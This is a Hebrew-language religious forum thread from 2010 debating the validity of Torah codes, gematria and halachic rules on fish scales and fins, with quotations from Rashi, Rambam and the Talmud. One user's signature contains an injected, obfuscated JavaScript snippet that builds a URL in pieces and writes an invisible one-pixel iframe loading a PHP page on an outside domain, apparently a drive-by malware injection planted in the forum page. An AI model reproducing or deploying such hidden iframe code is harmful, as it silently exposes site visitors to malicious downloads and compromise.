בית פורומים עצור כאן חושבים

קודים בתורה! חדש!!!

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-19/9/2010 12:36 לינק ישיר 

מה זה חרמה אכנך...?!



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/9/2010 12:49 לינק ישיר 

חבריה היקרים: אם הייתם שמעים את ההרצאה שצטטי בתגובה הראשונה באשכול, לא הייתם נגררים בכלל לדיון,
זה פשוט בושה וחרפה לדון בכך,
1,קודם בגלל השקר הגדול,
2,ושנית החילול השם הגדול,
3,והעיקר שברגע שהנערים חושבים שזה הדרך להוכיח את אמיתות התורה ואז שהם שמעים שזה בלוף אז מקצצים בנטיעות, מי בקש זאת ממכם ???
4, יש חשש של חיוב מיתה משמים, כי הרי לחדש דבר כאילו בשם השם ? חייבים מיתה כנביא שקר,
דברים פרק יח (כב) אֲשֶׁר יְדַבֵּר הַנָּבִיא בְּשֵׁם יְקוָק וְלא יִהְיֶה הַדָּבָר וְלא יָבוֹא הוּא הַדָּבָר אֲשֶׁר לא דִבְּרוֹ יְקוָק בְּזָדוֹן דִּבְּרוֹ הַנָּבִיא לא תָגוּר מִמֶּנּוּ:
 
זה גם אמור בעניין דגים וכוכבים, העםארצות בעניין דגים זעקת עד השמים,
הרי חז"ל דנים בעניין חזקה, כלומר זה שלא מצאו דגים שיש להם קשקשים ואין להם סנפיר ולכן מבחינת הלוגיקה יש כאן חזקה ומותר לאכול דג שאין לא סנפיר,
אבל ברגע שנמצא דג שכזה ? (אגב: מצאו דג שכזה וגדולי הפוסקים דנו בעניין, ולא משנה אם בסוף התברר שלא מצאו,עצם התמודדות עם הדג שמצאו כביכול ? מוציא את האוויר מכל המופת הזה,)
בוודאי שנופל החזקה ומאז לא נוכל להסתמך על החזקה, וכל סוג דג ודג נצטרך לבדוק האם באמת יש לו סנפיר,

החיוב מיתה מדאורייתא חל גם על אלה שאומרים את המופת הזה על הדגים, והנה שוב הפסוק המפורש בתורה 
דברים פרק יח (כב) אֲשֶׁר יְדַבֵּר הַנָּבִיא בְּשֵׁם יְקוָק וְלא יִהְיֶה הַדָּבָר וְלא יָבוֹא הוּא הַדָּבָר אֲשֶׁר לא דִבְּרוֹ יְקוָק בְּזָדוֹן דִּבְּרוֹ הַנָּבִיא לא תָגוּר מִמֶּנּוּ:


תוקן על ידי maxmen ב- 19/09/2010 12:51:50




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 12:59 לינק ישיר 

בעלהגדה כתב:
מה זה חרמה אכנך...?!



נו, זה ברור!


"חרמה אכנך" הוא בגימטריה בדיוק 344, שזו גם הגימטריה של "יהודה בר אלעאי", אך לא פחות מכך - "נסיעה טובה לאומן".

אם נתייחס לכך שמותר גם להוסיף 1, הרי שהשמיים הם הגבול. די לי אם אזכיר, בקליפי אגוזין, כי "משה" הוא 345, וכך גם "צ'ק פוינט", הנסחרת בבורסה, ואכמ"ל.







דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 13:14 לינק ישיר 

maxmen כתב:
חבריה היקרים: אם הייתם שמעים את ההרצאה שצטטי בתגובה הראשונה באשכול, לא הייתם נגררים בכלל לדיון,
זה פשוט בושה וחרפה לדון בכך,
1,קודם בגלל השקר הגדול,
2,ושנית החילול השם הגדול,
3,והעיקר שברגע שהנערים חושבים שזה הדרך להוכיח את אמיתות התורה ואז שהם שמעים שזה בלוף אז מקצצים בנטיעות, מי בקש זאת ממכם ???
4, יש חשש של חיוב מיתה משמים, כי הרי לחדש דבר כאילו בשם השם ? חייבים מיתה כנביא שקר,
דברים פרק יח (כב) אֲשֶׁר יְדַבֵּר הַנָּבִיא בְּשֵׁם יְקוָק וְלא יִהְיֶה הַדָּבָר וְלא יָבוֹא הוּא הַדָּבָר אֲשֶׁר לא דִבְּרוֹ יְקוָק בְּזָדוֹן דִּבְּרוֹ הַנָּבִיא לא תָגוּר מִמֶּנּוּ:
 
זה גם אמור בעניין דגים וכוכבים, העםארצות בעניין דגים זעקת עד השמים,
הרי חז"ל דנים בעניין חזקה, כלומר זה שלא מצאו דגים שיש להם קשקשים ואין להם סנפיר ולכן מבחינת הלוגיקה יש כאן חזקה ומותר לאכול דג שאין לא סנפיר,
אבל ברגע שנמצא דג שכזה ? (אגב: מצאו דג שכזה וגדולי הפוסקים דנו בעניין, ולא משנה אם בסוף התברר שלא מצאו,עצם התמודדות עם הדג שמצאו כביכול ? מוציא את האוויר מכל המופת הזה,)
בוודאי שנופל החזקה ומאז לא נוכל להסתמך על החזקה, וכל סוג דג ודג נצטרך לבדוק האם באמת יש לו סנפיר,

החיוב מיתה מדאורייתא חל גם על אלה שאומרים את המופת הזה על הדגים, והנה שוב הפסוק המפורש בתורה 
דברים פרק יח (כב) אֲשֶׁר יְדַבֵּר הַנָּבִיא בְּשֵׁם יְקוָק וְלא יִהְיֶה הַדָּבָר וְלא יָבוֹא הוּא הַדָּבָר אֲשֶׁר לא דִבְּרוֹ יְקוָק בְּזָדוֹן דִּבְּרוֹ הַנָּבִיא לא תָגוּר מִמֶּנּוּ:


תוקן על ידי maxmen ב- 19/09/2010 12:51:50




פשוט לבכות ממה שאמרת כרגע ... לא יאומן
"החיוב מיתה מדאורייתא חל גם על אלה שאומרים את המופת הזה על הדגים"

זה לא אני אמרתי...

זה של חז"ל מסכת נידה, דף נ"א, ב'


רש"י

והא שבת וכו'. לאו קושיא היא אלא מילתיה דייק ואזיל: לטעמא. למתק הקדרה: והחימום. פיטרטר''א: והתיאה. היינו סאה: חלת חריע. קרו''ג והוא כרכום: אף הם לא ילקחו בכסף מעשר. דרחמנא אמר ונתת הכסף וגו' ואכלת לפני וגו' והני לדידן לאו אוכל נינהו: נמנו וגמרו כו'. אלמא כל מידי דלא עביד לאוכלו אלא להטעים הקדירה לא מטמא דהא פלפלין וכרכום לטעמא עבידי: לכמך. דכותשין אותו ונותנין אותו בכותח ועיקרו שבתוכו מטבילין כל אוכל דהאי לאו לטעמא עביד דהוה עיקר: אמריתה לשמעתא כו'. הך שמעתא דפרישית לקמיה לא תימא כו': העשויה. שהצניעה לכך הא סתמא לקדרה ולא מטמא: אלא סתם שבת לכמך. ומטמא: דתנן השבת. סתם שבת משמע: אין בה משום תרומה. שאם חזר הקלח ונפל לתוך קדרה של חולין אינו מדמע: כי לא נתנה נמי. סתמא לקדרה ואמאי מטמאה הא אמרינן לעיל דמידי דעביד לטעמא לא מטמא: מתני' כל שיש לו ביעור. שהוא מצווה לבערו מן הבית בשביעית כשכלה לחיה מן השדה: יש לו שביעית. לענין שחייב להפקיר ואסור לעשותן סחורה ומלוגמא ואפיקטויזין: ויש. שנוהגת בו קדושת שביעית ואין לו ביעור כדמפרש בגמרא עיקר הלוף והדנדנה שאין כלים מן השדה בימות הגשמים: גמ' לוף שוטה. שם לווי הוא ועשבים הם: עלה הלוף שוטה והדנדנה. וה''ה לכל הכלים בימות הגשמים מהשדה אלא הא דנקט הני משום דסיפא דמתניתין מיתוקמא בעיקרין ואשמועינן חילוף בין עיקרן לעליהן: מתני' קשקשת. מלבושין של דג: סנפיר. אלו כנפים ששט בהן על פני המים: יש לו טלפים. פרסותיו סדוקות שאין קרנים אלא לבהמה ולחיה טהורה: ויש שיש לו טלפים. כגון חזיר ואין לו קרנים: גמ' דג טמא. איכא דיש לו סנפיר: אקשקשת סמכינן. דהאמרת כל שיש לו קשקשת: ה''א מאי קשקשת דכתב רחמנא היינו סנפיר. כנפים שפורח בהן מכי אית ביה כנפים שרי ואתי למישרי דג טמא ולהכי כתב תרוייהו דעל כרחך חד מינייהו לבושא הוא אייקררי''ץ בלע''ז: ופרכינן והשתא דכתיבי תרוייהו מנלן דקשקשת לבושא הוא. דקתני כל שיש לו קשקשת יש לו סנפיר אלמא פשיטא לן מאי קשקשת ודאי מהאי קרא נפקא ושריון קשקשים הוא לבוש אלמא לבושא מיקרי וכיון דמהאי קרא נפקא קשקשת דהא ליכא למימר הוה אמינא מאי קשקשת סנפיר: דמברך אירקא. לאחריו בורא נפשות רבות כי היכי דמברכינן אכל מיני מאכל ועל כל פרי העץ חוץ משבעת המינים דבעינן ברכה אחת מעין ג': מצות. ציצית ולולב ושאר מצות שמברכין עליהן עובר לעשייתן:




רמב"ם הלכות מאכלות אסורות א (הלכה כד)

ובדגים שני סימנין:

סנפיר וקשקשת וסנפיר הוא שפורח בו וקשקשת היא הדבוקה בכל גופו וכל שיש לו קשקשת יש לו סנפיר אין לו עכשיו וכשיגדיל יהיה לו או שיש לו קשקשת כשהוא בים וכשיעלה ישיר קשקשיו הרי זה מותר ומי שאין לו קשקשים החופין את כולו מותר אפילו אין בו אלא סנפיר אחת וקשקשת אחת הרי זה מותר.



למה רשמת משהו כל כך חמור ובזוי אלי?! אפילו בלי להביא מקורות....




דדווח על תוכן פוגעני

מחובר
נשלח ב-19/9/2010 13:27 לינק ישיר 

מואדיב

יאוש שלא מדעת פרושו- כל המתיאש-  כנראה שאין לו דעת.

אםשלום

 בבא מציעא דף כא:  יאוש שלא מדעת. אביי אמר: לא הוי יאוש




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 13:28 לינק ישיר 


torahcodes היקר
איזה מקורות ? שיש חזקה ? נכון יש חזקה, אבל בגלל שעוד לא מצאו כזה דג, ברגע שימצאו כזה דג ? נופל החזקה,

אבל אף אחד לא הבטיח לנו שלא תמצא כזה דג לעולם, ומי שהבטיח ? בטעות הבטיח או בדרך מליצה ותו לא,
הרי אמרתי שמצאו והפוסקים כבר דנו בעניין, (אם כי התברר שזה לא דג, אבל דנו וענו בדיוק מה שאמרתי)


תוקן על ידי maxmen ב- 19/09/2010 13:38:50




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 13:29 לינק ישיר 

שנרב
אם זה נכון זה מוסיף המון. אם סטטיסטית מןכח שזה לא מקרי הרי ראיה שמישהו צפה העתידות



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/9/2010 13:31 לינק ישיר 

מיימוני כתב:
תורה קודס


הטקסט של התורה אשר בידנו מקובל בעם ישראל מדור לדור. אבל יש לפחות שני שינויים שמביאים לספק איך הדילוגים נמסרו להימצא ולהידרש.

ראשית, התורה שבידנו היא פרי עריכה של חז"ל כמובא במעשה הידוע על "שלושה ספרים בעזרה" שמהם הורכב הנוסח שלנו. הנוסחאות האחרות הכילה אותיות אחרות ומילים אחרות.

לפי גרסת ספר התורה של רש"י, מופיעה ו' יתרה באחד הפסוקים. זה לכאורה מונע מהדילוגים שלנו להימצא בגרסת רש"י.

אפשר לענות על זה, וכך גם ענו החוקרים שצוטטו באשכול המקורי בפורום, שהדילוגים ניתנו על מנת להידרש מהטקסט שיימצא בימינו. וזו תשובה מעניינת מבחינה תיאולוגית. אבל השאלה יפה מן התשובה.

_________________

שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



מיימוני,

עיין במאמרו של מיכי: פרשנותם של טקסטים קאנוניים, ודו"ק ותמצא מנוח לנפשך...



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 13:38 לינק ישיר 

השאלה הגדולה שעולה מהאשכול,
איך מגיעים לארבעים תגובות תוך 12 שעות?



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/9/2010 13:41 לינק ישיר 

מקסוול כתב:
השאלה הגדולה שעולה מהאשכול,
איך מגיעים לארבעים תגובות תוך 12 שעות?

מקס:
ואני התחננתי בתגובתי הראשון (ברמז כמובן) שזה טירוף



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 13:44 לינק ישיר 

maxmen כתב:
השאלה הגדולה שעולה מהאשכול,
איך מגיעים לארבעים תגובות תוך 12 שעות?

מקס:
ואני התחננתי בתגובתי הראשון (ברמז כמובן) שזה טירוף


מה בדיוק טירוף פה? זה פורום... למה ציפית?!



דדווח על תוכן פוגעני

מחובר
נשלח ב-19/9/2010 14:03 לינק ישיר 

 

torahcodes כתב:
מה בדיוק טירוף פה? זה פורום... למה ציפית?!


צדיק:
הטירוף היא מי כמה סיבות,
א, חז"ל אומרים מפורש ששינו בתורה והרבה, 1,מכתב עברי לאשורית, 2, הם בדקו לפי רוב ספרים בכדי להגיה,
3, אנשי כנסת הגדולה צנזרו מפני הכבוד בהרבה מקומות, (ויש עוד הרבה לדון בזה ואין כאן המקום) 
המסקנה היא שלא אלוקים כתב את התורה שיש לפנינו (מבחינת מילים וכתב כמובן,)

ב, החילול השם שבעניין, בזה שהתברר שזה שטויות, ויש חשש שיקצצו בנטיעות,

ג, מניין לחדש דברים כאלה בלי נביא מאלוקים עצמו ?

ד, החשש של לעבור על חיוב מיתה  מדאורייתא, בזה שאומרים דברים כביכול בשם האלוקים,

ה, לבוא להצדיק את התורה במופתים ? ע"ז כבר אומר הרמב"ם "משה רבינו לא האמינו בו ישראל מפני האותות שעשה, שהמאמין על פי האותות יש בלבו דופי שאפשר שיעשה האות בלט וכשוף" 




דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 14:20 לינק ישיר 

בעניין דגים וכוכבים,
משה רבינו לא ידע אפי' לומר כמה ימים יש בשנה, כי עוד לא ידעו אז, ובודאי לא ידע שהעולם עגול,
וכן כלפי דגים משה רבינו לא ידע יותר מי מה שידעו אז,
כל הנסיונות לנסות לתת לנביאים ידע שאלוקים לא אמר להם ?? היא חילול השם ונבואות שקר שחייבים עליהם מיתה מן התורה, נקודה,
ולמי שיש לו קצת יראת שמים חייב לעזוב את השטויות האלו,

חז"ל שואלים אפי' על משה רבינו בעניין התורה איך למד משה את התורה בארבעים יום והנה,
שמות רבה (וילנא) פרשת כי תשא פרשה מא
וכי כל התורה למד משה כתיב בתורה (איוב יא) ארוכה מארץ מדה ורחבה מני ים ולארבעים יום למדה משה אלא כללים למדהו הקב"ה למשה,

אם בעניין התורה והלכה לא למד הכל ? ק"ו בעניין דגים וכוכבים !!

ועוד: אנו רואים בעליל שגזרת האלוקים שהחכמה יבוא בשלבים, כלומר כל דור מחכים יותר מדור הקודם,
אז למה להתעקש עם גזרותיו של האלוקים ???  



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 15:09 לינק ישיר 

צבוני,
יפה ענית. שאלתו של מיימוני היא שאלה נפוצה, אך שגויה לגמרי. בנדון דפה אף לא צריך להסכים לטענותיי במאמר שם, שהרי כאן ברור שהרעיון הזה הוא נכון. אם מוצאים דילוגים משכנעים מבחינה סטטיסטית (כלומר מובהקים) בטכסט שלפנינו, אזי הם יהיו ההוכחה שהטכסט שהגיע אלינו הוא הנכון, והעריכה של בני האדם, אם היתה כזו (כפי שמיימוני מניח כדבר פשוט), מבוססת על ידה הנעלמה של ההשגחה העליונה.

קודים,
אם יש לך עניין כלשהו לברר את האמת, מה שלא ממש נראה מדבריך עד כה, היכבד וקרא את מה שכתבו לך, אלו לא דברים מסובכים, וכתבו אותם אנשים שכנראה מתמצאים טוב ממך בנבכיה העלומים של הסטטיסטיקה. אם אינך מסכים, זה כמובן לגיטימי. אך כדי שיהיה טעם להמשיך את הדיון עליך להתייחס לדברים הללו (במקום להפנות אותנו ללינקים עלומים ולהטיל עלינו משימות קריאה), ואז אולי יהיה טעם להמשיך.

מואדיב ובעל,
אם כעת הייתי אומר לו שהוא פועה, האם היה כאן פגם מוסרי? ראו דבריי באשכול על הכחל. נדמה לי שהמצב כאן דומה למה שהתרחש שם, ודוקו.



דדווח על תוכן פוגעני

מנותק
נשלח ב-19/9/2010 15:19 לינק ישיר 

מדוע שלא נבצע את הנסוי המתבקש - יציעו חברי הפורום כמאה משפטים בעלי תוכן אמיתי באורך של כ 20 עד 30 תוים, וכנגדם מאה רצפים חסרי משמעות, נריץ את התוכנה ונראה כמה משפטים מכל קבוצה נמצאים בתנך, באילו דילוגים ובאיזה הקשר.
(להימורים על התוצאות נא לפנות בתיבה האישית) 



דדווח על תוכן פוגעני

מחובר
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > קודים בתורה! חדש!!!
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
לדף הקודם 1 2 3 4 ... 17 18 19 לדף הבא סך הכל 19 דפים.

bholext
2009 © כל הזכויות שמורות לבחדרי חרדים. קטגוריית אקטואליה וחדשות: עשרות פורומים הכוללים חדשות נעייס, מה קורה בחצרות חסידים, חדשות מחסידויות שונות בארץ ובעולם, דיונים בנושאי אקטואליה, פוליטיקה, בטחון ועוד.